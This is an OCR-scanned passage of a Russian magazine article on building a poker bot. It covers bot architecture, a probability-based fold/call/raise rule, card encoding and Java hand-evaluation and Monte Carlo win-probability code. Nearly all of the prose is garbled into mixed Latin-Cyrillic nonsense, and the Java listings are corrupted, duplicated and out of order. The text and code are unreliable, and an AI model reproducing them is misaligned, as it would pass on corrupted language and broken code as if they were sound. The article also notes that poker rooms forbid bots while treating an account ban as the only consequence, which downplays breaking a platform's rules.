CaMble YAaYHble GPS-n porpar-mu An" Linux: Navit, tangoGPS ~ GPSDnve Navit TO.nbKO nckaauaaer rexyuiee nonoxeaue aBTOM06V1ns:l, a OCTanbHble ABe MorYTew,e u san-tcuaare Mapwpyrbl. HVl O,lJ,H3 nporoa-n-ra HeYMeeT «paaroeapusa'n,». A BOT .o.a>Ke caMble AeweBble KV1Ta~CKV1e GPS-HaBV1raTOpbl rOBopV1TbYMeIOT,.o.a ew,e V1 no-pyccxn. BceTpV1 npor.s MO>KHoycTaHOBV1Tb V13 peno Ubuntu, TaK 4TO C V1HCTannS1LJ,l!lei1 npo6.neM B03HV1KHYTb He ,LJ,On>KHO Navit V1cnonb3yeT <apru HaB~TeJla, tangoGPS V1 GPSDrive -OpenStreetMap [www.openstreetmaD.orgi. GPSDrive sarpyxaer kapru ua nery -een~ «apra TeKyw,e~ MeCTHOCTV1 ew,e He 3anV1Ta, Hy>KHO BbinonHItlTb KOMaHp,y Options -7 Maps -7 Download.

BOT apone 6bl V1 see. Ocranocs BonnOTV1Tb onaca-n-ce B >KV13Hb!:X:

A

tit HATHrHBAEM CETEBblE

KOnHHr nOKEP-60TA: _

nOrHKA nPHHHTHH PEWEHHH T

V

LOGIC

npOCTaft CXeMa noxep-jior a

4TO ECTb nOKEP?

B OTm1LJIII€ OT uraxvar, noxep - urpa c HenOnHO~ V1H¢OpMaLJ,lIIelil. To ecre, lt1rpOKIII He 3HaIOT, KaKas:J kapra sere H3 pyxax y onnOHeHTOB - OHIII MOryl" 3TO m1Wb npennonarars C onpeneneHHOVl creneus:o sepOSHHOCH1.

npaBV1na noxepa npocru - BbllllrpblsaeT TOT, Y xoro Hd pyxax 01JlbHelliwa51 KOM6I11HaLJ,It151, COCTasneHHaS1 1tt3 era KapT \11 rex, I.1TO ua crone. 111111-1 nOCne,lJ,HV111i OCTaBWlt1~C51 V1rpOK, eC11111 ace ocransuse c6pOC\I1Jl\l1. Bcero B noxepe ,IJ,eCS1Tb KOM6l-1HaLl,V1V1:

Po"n-¢!,ew, CTp"T-¢neW, Kape, C)lynn-xayc, C)lnew, CTP"T, Cer/Tpnnc/Tpotixa, ABe r apu, OAHa napa, Crapuras kapra. CYll.(eCTByeT MHoro pa3Hbix SIII,ll,OB ncxepa. 3,o,€Cb Mbl 6YAeM pacc-rarpnsars Texas Holdem No Limit Poker, OH )l(e TypHIllPHblVl noxep.

npOCTMI CXEMA nOKEP-60TA

vb KaKlt1X finokos 6YAeT COCTOS1Tb Haw p060T? PaCCMOTplIlM no nYHKTaM:

Logic - Enox nOr"K" np"H"T"" peWeH"," [Fold, Call, Raisel Negotiator - 5noK 83a\llMO,lJ,eikTBIIIS1 c nporpaMMoili Ans:l lt1rpbl B noxep:

Statistics - 5noK o6pa6oTKlI1 III HaKOnneHIt1)=1 CTaTlt1CTVlKI-1 no It1rpOKaM.

vb Negotiator B Logic nocrynaer "H¢OpMa~"" 0 rexyuiax geiliCTBVls:lx Ha crone. lib Logic B Negotiator - I-1Hcj)QpMaLJ,lII)=1 o CBOItiX .o.et:kTBlI151X, koropue HY>KHO coaepumrs lcnenars Fold, Call "n" Raisel. vb Negotiator B Statistics - "H¢OPM3LJ,1!1S1 0 .o.eilicTBItIS1X VlrpOK3 33 CTonOM AnSi nocneAYIOll\eili ofipaficrxa " XpaHeH"". vb Statistics B Logic - "H¢OpMaLJ,1!1S1 0 CT3T1t1CH14eCKVlX A3HHbiX It1rpOKoB.

nPHHflH1E PEWEHHH B nOKEPE

KaK npaanno. BO BpeMS1 Ka>KAOrO XOAa Ii1rpOK MO>KeT npnH"Tb TP" peure-rvs: Fold, Call, Raise. ECTb ellie All-in

- <orna ,n,eHer ,n,nS1 npOAOn>KeHl!1s:1 It1rpbl HeT, It1 npanercs nOCTaBIIITb see. Cyuiecrsyer MHO>KeCTBO ar rop-rn-roa npaHS1TlI1Si peweHlIIiIi: DIVAT aHanl!13, nepeao peweHltilIl, pa3nw1- Hble 3Mnlllpl!14eCKl!1e anrOpll1TMbl (KcTaTIII, 6onbwVlHcTBO 1t13 3TlI1X anrooi-ruce ncnonsayior sepoar-rocrs BblltlrpblwaJ. Mbl 6ypeM ncnonsaoears s npItlHS1TIt1V1 peWeHlIl1l1 6eCnpl!1CTpaCTHylO MaTeMaTVlKY, a T04Hee - reopmo sepOSiTHOCTIti.

XAKEP 06 /137/ 10

STATISTICS

nPHME4AHHE 0 TEOPHH BEPOfiTHOCTH

B peanbHoili >K1t13HItI OHa npItiMeHS1eTCS1 B OCHOBHOM AnSi pac-iera oTKa30ycToili4It1BOCT1t1 MexaHVl3MOB, HO ee MO>KHO 04eHb xopowo npl!1MeHS1Tb TaK>Ke B urpax C HenonHoili ItIH<popMaLJ,ltIeili ItI 60nbwVlM KOnltl4eCTBOM paYHAoB: pynerxa, noxep, 6n3KA>KeK ItI no. B TeOp1t11t1 sepmlTHOCTIt1 ecrs HeCKonbKO napanoxcos. KOTopble He COOTHOCS1TCS1 C HaWIIIM >K1tI3HeHHbIM orusrrou, HO, TeM He MeHee, >=IBmifOTCs:I npasnoa 3TO, uanpuMep, naoanoxcu MOHTIt1-Xonna ItI napPoHAo.

MATEMATH4ECKAfi CJOPOHA nPHHflTHfi PEWEHHH B nOKEPE

(j)opMyna npIllH$HIIIS1 peweHVliIi B noxepe ype3Bbl4aC1Ho npoCTa:

p*pot = win, r~e p - BepO~THOCTb BHMrpHllia c TeKymMMM KapTaMM (Ha PYKax M Ha cTone), pot - pa3Mep 6aHKa Ha MOMeHT npMH~TM~ pemeHM~, win - asnrr-psnn , KOTOPbl11 Mbl norry-ou-r , eC}IJ.1 6y,n:eM peaar-puaa-r-r, MHOll'ieCTBO napTt1M C 3TMMW KapTaMJ:.1.

ECflM win < bet_cur, TO Fold

no 3aKOHaM P¢ M ~pyrMx rocy~apcTB C03AaHMe M MCnOTIb30BaHMe nOKep-6oToB (M 60TOB nn~ ~pyrMx Mrp) He 3aITpe~eHO. A ITO npaBMnaM Bcex M3BeCTHHX MHe nOKep-PYMOB - 3anpe~eHO. ~TO 3TO 3HaqMT? EcnM TH nonanCH Ha MCITOTIb30BaHMM 60Ta, TO caMoe CTpalliHoe, qTO Te6e rp03MT - 3TO 6aH aKKaYHTa M CITWCaHMe C Hero Bcex epeAcTB. Bee. HMKaKMx lliTpa~OB, rrOBeeTOK B CYA, 6nOKt1pOBKM Kpe,n:MTKM M T.A. He rroenegyeT. KCTaTW, npaKTMqeCKM BO Bcex rroKep-pyMax pa3pelliaeTC~ Mcnonb30BaHMe «nOMO~HJ1KOB» B Mrpe - pa3flw .. rHbIX KanbKynYITOPOB M nporpAMM nrr~ r.onpA r.~A~Mr.~MKM ..

Ha ,D,I!1CKe rte xa+ It1CXOAHIt1KIt1 knacca. peanlt13YIOw,ero pac-ier SepOs:lTHOCTIt1 Bblll1rpblwa, unit-recrs: K HeMY, IIICXOAHIIIK KanbKyns:lTopa, napa crareji

a noxep-borax

('1 cnucos IIIHTepeCHblX CCb!nOK.

D links

PeKoMeHAYIO n041t1TaTb B BItiKItl CTaTbvl 0 nokepe, reopau BepOrlTHOCH11t1 MaTeMaTIII4eCKOM

o>KltI,D,a Hili III , nOCeTItITb QQ1<.exai_,-o_cg - ny-nu 111 11 caCiT 0 nOKepHoM AI, a TaK>Ke nOYIt1TaTb LJ,ItIKJl CTaTe iii 0 coana H 111111 noxep-fiora Ha www. codinglh~wheel.com

~ 091

ECITM bet_cur + SB > win >= bet_cur, TO Call (HITM Check)

ECTIM win >= bet_cur + SB, TO Raise (MflM Bet) bet_cur - 3TO ace nem-r'n • xo'roptce Mbl nonoaaarnr 3a TeKy~D wrpy (HE TOITbKO 3a O~JtIH Kpyr ToproBfll1) , rrmoc 're .n;eHhrM, xo'rcpve HYlKHO cerr-rac nOCTaBViTh.

n051CHeHII151 K bet_cur·

EcnVl H3 nepsov Kpyre roprcan« Mbl nOCTaSVlnVl scero $10, a Ha STOPOM <pyre Mbl ,[\on>KHbl nOCTaSVlTb $5, 111 S 3TOT MOMeHT Mbl npVlHVlMaervl peweH"e, TO bet_cur paauo $15 (10+51

5B (Small Blindl - pa3Mep Manoro 6m"Hl\a «Inepaas CTaBKa acnenyio - npVlM. pen.I». 3TO 3H3yeHVle npVl63sn51eTc51 K bet_cur so BTOPOM ycnoBVlVl, T3K K3K Mbl MO)KeM yseJlll1YVlB3Tb CT3SKY ronsxo H3 4V1CJlO, Kp3THoe ManoMY 6n3V1H,[\Y. Cnenoaare.u.ao, ecnll1 win> bet_cur, HO npVl 3TOM win < bet_cur + S8, TO YBenVl'-!II1B3Tb CT3BKy HaM He aurorn-o. T3K KaK np.uur ocs BbICT3- B"Tb bet_cur + SB.

BB (Big Blind) - pa3Mep 6oflbllioro 6naMH)J;a.

CTOVlT T3K>Ke ,[\06aSVlTb, YTO 3Ta cpopMyna MO>KeT VlCnOJlb30SaTbC51 TOJlbKO

B KOMnblOTepHoVll:1rpe - B >KVl3HVl aa CTonOM Bp51,lJ, nVl 6YAeT B03MO>KHOCTb caMoMY Bbl4V1cnmb aeponruocrs suurpuura Vl ace 3TO C4VlTaTb. n03TOMY npVl peaJlbHOVl urpe l:1CnDJlb3yercl'I Bbl4VlCJleHVle ayros (outs) Vl or.coa locdsl. Cvu.ecreyior Ta6nVlLJ,bl ,lJ,n51 o6ner4EHVlI'I 3TVlX BbI4I11CneHII1V1, KOTopble MO>KHO HalllTVl B mo60111 KHl:1>KKe no nOKepy Vl/VlnVl B VlHTepHeTe.

05MICHEHHE ItlOPMynbl

vb 3TOVl ¢opMynbl Mbl nonY4aeM MaTeMaTVl4eCKoe O>Kl:1gaHVle BblVlrpblwa (s H3WeYl cpopMyne 3TO win]. VlHa4e roBOP51, pa3bllpblBa51 MHOro paa nrpy C TaKOVI eeposraocn,o lc TaKVlMVl >Ke KapTaMVI y Hac Ha PYK3X 111 ua crone] Vl TaKVlM 6aHKOM, Mbl nonY4l:1M TaKOW auurpuur. CneAOBaTenbHO, 4T06bl OCTaBaTbC51 S nruoce. Mbl gon>KHbl CTaBVlTb He 60nbwe 3TOro BblVlrpblwa [ua pVlCYHKe 3TO betl]. Ecnn nOCTaSVlM 60JlbWe, TO OKa>KeMC$1 B MV1Hyce - BblVirpaeM MeHbwe, 4eM 6y,[\eM CTaSI-1Tb·(Ha pVlCYHKe 3TO bet2J. CTOVlT cgenaTb 3aMeyaHl:1e K cpopMYJle - TaK KaK nckep-pyvu 6epYT KOMVlCCVlIO C Ka>K,lJ,oro 6aHKa, TO Hy>KHO pa3Mep 6aHKa YMeHbWVlTb Ha BeJlVl41-1HY 3TOW KOMVlCCVlVl. CDopMYJla C KOMVlCClI1ew6Y,lJ,eTTaKOBa:

p*pot*O,9l = win

npl1Mep pacnpeAeneHI1S1 Bbll1rpblWa npl1 60nbWOM KOnl1'1eCTBe I1rp

HO,lH1PYEM PAC4ET BEPOHTHOCHI

Ha ,[\aHHbIW MOMeHT MO>KHO HaWTIII MHO>KeCTBO 6V16JlVlOTeK ,[\n>=! pac-rera Bep051THOCTV1 SblVlrpblwa. ECTb KaK fiecnnaruste. TaK Vl nnaTHble sepcuu. A Mbl 1I1306peTeM caoYl aenocunen. n04eMY? YT06bl pa306paTbC$1 B 3TOM aonpoce geTaJlbHee 111 Vl3-3a >KenaHVl51 C,lJ,enaTb nOJlHOCTblQ cacero 60Ta. 3gecb 51 gaM KpaTKVle n051CHeHVl51 K KOAY. OH aanwcaa Ha Java l:1 cHa6>KeH AOKYMeHTaLJ,lI1eC1 B BII1,[\e JavaDoc, TaK 4TO Tbl 6e3 rpyna CMO>KeWb paso- 6paTbC51 B HeM

3aMe4aHV1$1 no Ko,.o,VlpOBaHV11O xapr:

Bcero 52 «apru = 4 MaCTVI x 13 «apr Ka>Kp,oV! MaCTl-1. MaCTb TeKyw,ew KapTbl = <nOpl1,D,KOBblC1 HOMep KapTbl>/4 (j - u,eJl04l-1CneHHOe ,[\eneHlI1eJ. ,lJ,OCTOIl1HCTBO TeKyw,eVi <apru = <nop51gKoBblV! HOMep KapTbl>%13 [%OCTaTOK OT geneHVl$1j.

Co6cTBeHHo, y Hac nonxao Sun, 10 CPYHKLJ,VlYI no onpeneneu-no KOM6V1HaLJ,1-1111. Ha30seM VlX TaK

isHighCard, isOnePair, isTwoPair, isSet, isStraight, isFlush, isFullHouse, isQuads, isStraightFlush,

PAC4ET BEPOHTHOCH1 isRoyalFlush.

EcnV1 pa3Mep 6aHKa 111 pa3Mep CTaBKV1 BenVl4V1Hbl snonHe Vl3BeCTHbl, TO

KaK Y3HaTb sep051THOCTb BblVlrpblwa? Ha 3TOT aonpoc ecrs HeCKonbKO 06bep,V1H51eT 3TVl CPYHKLJ,VlVl cnep,ylOw,ee - ua sxcne ncnaercs Ha60p <apr.

OTBeTOB: a Ha Bblxo,.o,e - 4Vlcno or -1 AO 12, rne -1 - KOM6l:1HaLJ,Vl$1 He HaYl,o,eHa, OT

1) Y3HaTb, CKonbKO KOM6V1HaLJ,l:1W xy>Ke HaweVi TeKyw,ew pyKVl, 111 paaaerurrs 0 go 12 - CTapWa$1 <apra B KOM6VlHaLJ,V1Vl. 0 3TO ,[\BoIIIKa, 1 - rpcuka. 111 TaK

3TO YVlCJlO H3 KOJlVlYECTBO KOM6VlHaLJ,VlW; ,[\0 12 - TY3. MaCTb He Sa>KHa. Ha60p <apr MO>KeT 6blTb mo6ow ,JJ,nVlHbl -

2) npOMO,lJ,eJlVlpOB3Tb HeCKonbKO COTeH TbIC514 pas clI1ryaLJ,1I11O co CBOl:1MVl

KapTaMVI Ha PYKax Vl Ha crone V1 co cnY'-lalllHblMII1 KapTaMII1 Y onnOHeHTOB, 3aTeM paanerurrs 4111cno sblVlrpblwHblX payunos Ha VlX ofiuiee Kom14eCTBO !Ha60p MeTO,lJ,OB, B KOTOPblX Vlcnonb3YIOTc51 cnY4awHbie 4V1CJla 111 60JlbWOe Yl:1cno nOBTopeHVlw, Ha3bIBaIOTC>=! MeTOAaMVI MOHTe-Kapno . .0. a , ga Ha3saHlIle npOVl30WJlO OT 3HaMeHVlToro Ka3V1HO B .nac-Beracel

nnlOc nepsoro MeToga - caMa>=! sblCOKal'l T04HOCTb.

rv1lt1HYCbl - ·60nbwoe norpefineune naM51Tl:1 V1 CJlO>KHOCTb npenaap-rrensi-oro pacue=a. TaK KaK scero KOM6V1HaLJ,VlVl MO>KeT 6blTb 2.598.960 [YVlCnO COyeTaHVlVl 5 <apr Vl3 52], B naM51TlIl 3TO 6YAeT 3aHVlMaTb npuvepuo 10M6 [Vl3 pac-rera, 4TO Ha O,D,HY KOM6l:1HaLJ,V11O OTBO..o.VlTCS1 4 6awTa ,[\Jl51 xpaHeHV11'1 aeposruocrwl HecMoTp·i1 Ha TO, 4TO 3TO 3HayeHVle YMeHbwVlTC51, nOCKOJlbKY uexoropete KOM6111 HaLJ,1I1 Itl 6YAYT O,lJ,l:1HaKOBbl no CII1Jle VI li1X MQ>KHO 6y,o,eT cseCTVl S 0AHY laa C4eT Tom, 4TO MaCTVl B 3TVlX KOM6V1HaLJ,II1I1X He aax-iu], 3TOT MeToA Mbl noxa paccwa'rpaaa'n, He 6ygeM, a nepeVigeM K cne,f\ylOw,eMy. nnlOc STOPOro MeTo..o.a - npOCTOTa peanVl3aLJ,VlVl.

rv1V1HYCbl - npu ManOM YlIlcne payunca He 04eHb T04eH, a 60JlbWOe -uicno paYHAoB rpebyer bonsuic pecypcos npoueccopa.

~ 092

«Ha AaHHblM MOMeHT MO>KHO HaMTH MHO>KeCTBO 6H6nHOTeK NUl pacsera BepORTHOCTH BblHrpblwa. ECTb KaK 6ecnnaTHble, TaK H nnaTHble BepCHH.A Mbl H306peTeM

..

CBOH BenOCHneA»

XAKEP 06 /137/ 10

Hand: lAs ,3d
Board: 13s,Jh
Plavers: rn ProbatJility of win: 0.634 ...

Calculate

cross - f. spades - + di arnonds - • heart - .,

aT 1 AD 7. 3TO C,QenaHO Ans:! roro, YTo6bl MO>KHO 6blJlO nerxo paCClH1TaTb sepOSHHOCTlII \11 B npe-onone [KOr,Qa «apru Ha cron ew,e He nOnO>KVlJlIl1, HO pa3,Qan(;1 kapru lI1rpOKaMI. 1I1 B repue \11 pnaepe (KOfAa Ha cron nonoxun« LJeTblpe VI mlTb «apr ccc+serctse-n-ol. To eCTb reneps HaM Hy>KHO 6YAer AaTb CPYH'KlJ,V1V1 cnV1COK scex kapr, xcropue nexar Ha crone l!1 y urposa. a ¢YHKLJ,\I1fl Vl3 sroro Ha60pa «apr Bbl,ll,em1T KOM6I!1HaLl,lIIlO.

LJro6bl onn1MVl31!1pOSaTb onpeneneawe KOM6I11HaLl,ltIi:1, Mbl c,ll,enaeM cnenyouiee: 1) YnopR,ll,04I11M KOM5I11HaLJ,1II111 no y6bJBaHII11O p,OCTOlllHCTsa <apr:

21 Pa3Aem1M BxoAHO(:1 MaCOtB kapr H8 rpu: MaCCV18 C ,o,OCTOll1HCTSaMVI «apr. MaCCiI18 C M3CHIMII1 kapr III M3CCltlB C Kom14eCTBOM «apr K8>K,o,O'1i MaCTlII,

3T" Ae"CTS"" 6YAeT BblnOnH"Tb ¢YHK~"" sortHand [eM. spe3KY!.

BXO,o,HOVi napawerp - MaCClIIS hand, S KOTOPOM xpaHlIITCs:I cruico« <apr. BbIXO,o,Hble napaverpu - MaC01Bbi card lnocroaucrea KapTI. suite (MacTlII KapTJ. suiteCount [KOn"4eCTSO <apr KalKAO" MaCT"!. B nepaon 4aCT" <PYHKLI,\IIlII npoucxonar npocras COpT\IIpOBKa 3aMeHoVi [MO>KHO 3aMeHI'1Tb ee Ha 6blCTPYfO COPTlIIPOBKYJ. TYT ec'n, ManeHbKlIIiI! HlOaHC - COPTIIlPYfOTC$l He caMIll xapru, a v\x AOCTO\llHCTBa. YTo6bl Y3HaTb ,o,OCTOIllHCTBO <apru. Hy>KHO Y3HaTb OCTaTOK OT AeneHlIIs:! Ha 13 . .Qanbwe, ecnV'1 ,o,OCTOV'1HCTBa xapr 0,0,\11- HaKOBbl, TO npoaepse«. L.lTo6bl kapru C 60nbwlIIM nOps:lAKOBbIM HOMepOM leapru, Y KOTOPblX HOMep MaCTt.1 fionsurel 6blnlll «neBee» «apr C MeHbWlIIM HOMepOM, nocne COpTV'1pOBKlII Bb14111Cns:ieM ,lJ,OCTOIilHCTBa xapr [MaCCt.18 card], MaCTt.1 <apr [MaCC\II8 suitel \II K0J1\114eCTBO «apr Ka>K,o,oill MaCT\II [MacC"S suiteCount!.

4>YHKU.MH copn1pOBK101 MaCCHBa xapr

void sortHand( .it l l hand, i.n t I ] card, int [] suite, .i n [) suiteCount) { for (~nt i = Oi i < harid v Lenq t.h , i++)

I or (int j = 0; j < hand.length - 1; j++) into t :

if (hand l j l % 13 < hand[j + 1] % 13) ( t=hand[i+l],

hand[j + 1] = hand[j],

hand[j] = t,

XAKEP 06 /137/10

in' getCombination('nl[] hand, in'[] board) int [] a l Lc ar-d :

; f ((board == null) I I (board. length == Oj l { allCard = new int [hand. length] , System.arraycopy(hand,O,allCard,O,hand.length) ,

} else \

allCard = new int[hand.length + board. length] , System.arraycopy(hand,O,allCard,O,hand.length) , System.arraycopy(board,O ,allCard,hand. length,

board. length} ,

inti] card = new int[allCard.length];

inti] suite = new i~t[allCard.length], int[] suiteCount = new int[4]; sortHand(allCard, card, suite, suiteCount); if (isRoyalFlush(card, suite, suiteCount

! = -I) return 117;

lnt result = isStraightFlush(card, suite, sui teCount) ;

if (result != -I) { r er urr, 104 + result;

result = isQuads(card); H (result r= -I) { retlrn 91 + result;

result = isFullHouse(card); if (result != -I) {

return 78 + result;

result = iSFlush(card, suite, suiteCount); it (result ! = -1) {

recurn 65 + result;

result = isStraight;card) i i r (result != -I) {

return 52 + result;

result = isSet(card); if (result i= -l) { reru n 39 + result;

result = isTwoPair(card) i if (result != -l) { relurn 26 + result;

result = isOnePair(card); if (result i= -I) { return 13 + result;

return isHighCard(card);

if ((hand[j] % 13 == he nd l j + 1] % 13) &&

(hand l j l < hand[j + 1]}) { t = hand[j + 1],

hand[j + 1] = handlj],

harrd l j ] = t .

}

~ 093

CODING

fa (int i :::: 0; i < hand. length; i++) { card[i] = hand[i] % 13;

suite[i] = hand[i] I l3; suiteCount(suite(i]]++;

PaCCMorpV1M aJlropv1TMbl or.penene+uts KOM6V1HaLl,V1iii (KO,lJ, npll1BOA~1Tb He 6YAY. TaK KaK OH ,lJ,OCTaTOl1HO TpV1BVlaJleH VI era acerna MD>KHO Ha~TV1 na A"CKei

isHighCard

Bo aapeutaet-r rrepeyo xap-ry MaCCMsa. isOnePair

11ru;eM nee O.llYIHaKOBbJe xap'ru , Y1,qyII{JIIe nonpsm , VI B03Bpa~a-

KapTa 3arrHCHBaeTCS ,1J;BYMH naTMHCKMMH CMMBonaMM. TIepsHw CMMBorr - .n;OCTOMHCTBO KapTN, BTOPOM - MaCTh. Kap-r-u OT 2 )];0 9 TaK M 3am1CblBaIOTC5I. T - nec srr-r, (XOT5I HHor,lJ;a M rrpOCTo 10) I J - BarreT, Q - ,lJ;aMa, K - KOPOITb I A - Ty3. Tpe<i>cr - c I TIJlIK11 - S I 6y6HbI - d I "IepSbl - h.

board .length) ;

i nc Ll card:::: new ~ It [allCard. length] ;

int (] suite:::: new i n t [allCard.length]; int[] suiteCount :::: new ':'nt [4]; sortHand(allCard, card, suite, suiteCount);

eM p;OCTOJiIHCTBO 3TJiIX xep'r . if (isRoyalFlush(card, suite, suiteCount) i= -1) {

iSTwoPair return 117;

IIIm;eM nee O):l!1HaKOBble xap'ru , !1.n;yID;Me nO):lp5I.IJ;, lII:w;eM e:w;e

):lEe O):lJiIHaKOBHX KapT~ M M3 .JJ;ByX ):IOCTOMHCTB 3TliIX KapT B03Bpam;aeM MaKcv~anbHoe.

isSet

Y1meM TPM omeaaxoaue xap-na. M.n;yITI;Me nO.Ilp5IJl, IiI aoaapautaeM JlOCTOJiIHCTBO 3TJiIX KapT.

isStraight

ITO.n;C"Y:MTbfBaeN, CKonbKO xep-r- ncnpsu; I1):1eT C y6b1BaHMeM .uOCTOMHCTBa. ECITJiI TaKJiIX KapT nRTb, TO B03Bpam;aeM ,UOCTOMHCTBO CTapmeH.

isFlush

ITpoBep5IeM, ~To6H 6b1ITO n5ITb KapT O,[(HOM MaCTliI, IiI 803- Bpam;aeM .n;OCTOMHCTBO CTapmeM KapTbI 3TOM MaCTM. isFu11House

Y1meM TPM xap'rta O,1J;HOrO ,rr,OCToIiIHcTBa M em;e nee O):l:VlHaKOaue ~apTbI. Boa apaute esr ,Il;OCTOMHCTBO 'rpex xap'r .

isQuads

ilIm;eM JJ;Be KapTbI O,Il;Horo .JJ;OCTOMHCTBa, B03Bpam;aeM .D;OCTOJiIHCTBO 3TJiIX KapT.

isStraightF1ush

TIpoBep5IeM, ~To6H 6b1flO TIHTb JiIITM 60nee KapT O.n;HOM

int result = isStraightF1ush(card, suite, sui teCount) ;

it (result 1= -1) { return 104 + result;

result = isQuads(card); i E (result ! = -1) ( return 91 + result;

result = isFullHouse{card); (result ! = -1) {

rellrn 78 + result;

result = isFlush(card, suite, suiteCountl; if (result l= -1) {

return 65 + result;

result = isStraight(card); if (result ! = -1) { return 52 + resul t;

MaCTM, M ~To6b1 3TH KapTH llinM no nOp5IAKY. B03Bpa~aeM

~OCTOMHCTBO CTapmeM KapT~. result = isSet(card);

isRoya1F1ush if (result 1:::;: -1) {

TIpOBep~eM, ~To6H B KOM6wHaQMw 6NflM Ty3, KOPOflb, AaMa, BaneT, 10, 9 O.n;HOM MaCTM. B03BpamaeM 12 (nOp5I.n;KoBblM

HOMep ~OCTOMHCTBa TY3a). result = isTwoPair(card) i

KCTan1, ew,e MO>KHO Onn1M1I13l!1pOBaTb ortpenene+u+e KOM6l!1HaLJ,V1L1 - COBMeCTlt1Tb npoaepxy HeCKOnbKl!1X KOM6l!1HaLJ,V1iii s OAHOtIJ CPYHKLJ,lIIV1 (Hanpl!1Mep, npcaepky Ha ABe napu 111 napyl. V13MeHII1Tb KOAV1pOB2HV1e lnpencraene-n-el xapr B nporpa-n-ie. nepeuecr« 3TV1 CPYHKU,VllI1 Ha C l!1 CKOMnl.1nlt1pOBaTb B native 6lt16nl!10TeKY VI T.A. Ho ace 3Tlt1 MeTOAbl YMeHbuia.or Harn~,aHOCTb Ko,aa, KpOMe Taro Hd AaHHbltIJ MOMeHT CKOPOCTb Bb141.1CneHlt1111 ancnae nOVleMneMa, n03TOMY noxa OCTa8n~eM ace KaK ecrs.

¢JYHKlV1R onpeAelleHHR CHllbl KOM6HHau,lotlot

. n- getCombination (int [J hand, inc [] board) { in! (J a11Card;

if (( board == null) I ( (board. length == 0)) allCard = new int[hand.length];

System. a r r aycopy (hand, 0, all Card , 0, hand . length) ;

) else {

allCard = new int[hand.length + board.length]; System arraycopy(hand,O,allCard,O,hand.length); System.arraycopy(board,O,aIICard,hand.length,

~ 094

ret~rn 39 + result;

if (result != -1) { return 26 + result;

result = isOnePair(card); if (result != -1) { returr 13 + result;

return isHighCard(card);

Ilancc cAenaeM CPYHKLJ,VlIO, KOTOpa5l aoaapauiaer a6COfllOTHYlO cuny <apro-rHOi1 KOM6!11HaLJ,V1V1 15l Ha3Ban ee getCombinationl. Bcero TaKl!1X pasuax no cune KOM6l!1HaW!II1I1 6Y,lJ,eT 118: AeB5lTb KOM6I11HaL\VlIl1 co CTapwVlM!II KapTaMl1 [no 13 CTapWl!1X «apr B Ka>K,ao~ KOM5V1HaLJ,VlV1]. !II OAHa KOM6!11HaL\l.15l 5e3 c-apure> «apru [¢new-pO~Jlb, B KOTOPOM crapurac «apra - scerna TY3]

- 9x13+ 1 = 118. XOT~ B KOM6!11HaLJ,lt1l!1 «ABe naps.» MO>KeT 6blTb ro.usxo 12 crapurax xapr (,aBoi1Ka B 3T0i1 KOM6lt1HaLJ,Vl!ll He MO>KeT $=ISflSHbC$=I crapureu], YT06bl He uapyura+e nOp5l,lJ,OK, Mbl 3TO He YY!I1TblsaeM. 3Ta CPYHKLJ,l!15l Hy>KHa Ans:! nccnenyioutero y.o.o6Horo cpaSHeHI.15l KOM6V1HaLJ,l!1i1 Me>KAY c060i1 - OHa aosapauiaer 4l!1cno, !II lIeM OHO 6onbwe, TeM C!IInbHee KOM6l!1HaLJ,!I1s:!.

XAKEP 06 /137/ 10

«SI HanMCan npOCTOH KanbKynHTop,

..

KOTOPblM Ha OCHOBe xapr Ha pYKaX

M Ha crane. a TaK>Ke KonMlIeCTBe MrpoKOB BblllMcnHeT BepOHTHOCTb BblMrpblwa. TaKMX KanbKYnHTopOB B eeTM MHoro M OHM 60nee lIlYHKUMOHanbHbl»

KaK BII1,lJ,HO 1113 xona. cua-rana CPYHKLJ,t.1s:1 cxna,lJ,blBaeT <apru Ha PYKax Itt KapTbl Ha Clone

B O)J,lt1H MaCCV18, nOTOM coprupyer era, a

nanee no nOp"I\KY onpenenser KOM6"Ha~"". Onpe,lJ,eneHl-1€ lI1,lJ,eT OT Clt1nbHe~wei1 KOM6111- Ha~"" lq,new-pO"nb] K cna6ei-iwei-i lcrepuras Kapral. YTo6bl KOM6I11HaLJ,1II111 OTm14am'lCb npyr OT npyra, DHlI1 lIIMelOT 06fl3CTb )J,eikTBV1s:1 - Ha60p 3Ha4eHIlli1 xapr. HaXO,lJ,51Lll,VlXC)=I B 3TOVI KOM6VlHaLJ,II1l!1. TaK, KOM61-'IHaLJ,VlVl High card lcrap.uaa Kapral COOTB€rCTBYIOT 3H34€HII151 OT 01\0 12, rne 0 - 3TO High card co cTapwew «,lJ,BOVJKOVJ», a 12 - co CTapWl!1M l)'30M. A KQM- 6l11HaLl,lIH1 «napa» COOTS€TCTSYIOT 3Ha4eHt.151 OT 13}J,o 25, r,lJ,€ 13 - «napa» co crapureu «,IJ,BOii1- KOVi», a 25 - co crapWIIIM TY30M.

111, HaKOHe~, cnenaev q,YHK~"1O I\n" onpeneneHl!1Si SepOS=!THOCTVI Bblll1rpblWa [getProbabilityOfWin!. napaMeTpbl 3TOW q,YHKl1"" cneAYIOUJ,l;1e: CBO!l1 <apru, KapTbl Ha Clone lecnu ecrsl 111 Konlll4eCTBO urpoxos. )J,anee see npocro - peap,aeM cnY4aiiiHbie <apru OCTanbHblM IIlrpOKaM, BbiKnaA?IBaeM <aprs: Ha cron [ecnVl IIlX ew,e HeT Vlnlll He XBaTaeT)III npoaepsen KOM6I1lHau,vH1. EcnVl BblVirpanlll Mbl, TO YBen1ll4V1BaeM konu- 4ecTBO BblV1rpaHHblX pay-moe Ha 1 [V1nV1, ecnn eCTb ew,e V1rpoKIll C TaKV1MVl xe KapTaMVl, TO Ha 1/<KonVl4eCTBO 3TV1X lIlrpOKOB + 1 >1.

ManeHbKoe 3aMe4aHII1e no Mogenll1poBaHII1IO: kapru lIlrpOKaM ny-uue Bbl,lJ,aBaTb cnY4ai1Ho, a

He MewaTb KOnO,lJ,Y, a nOTOM BblAaBaTb, TaK KaK

B nepBOM cry-rae 6YAeT 6blCTpee.

AnropliITM MOAetllilpOBaHHSI

1) r-a ane-rr, cnyuaanae «ap-r-a l1rpoKaMi

2) r.onosor-rr, cnY'-lailIHbIe xap-r-a ne CTon (ecnl1 Ha CTOlle e~e He ITRTb x ap-r-) i

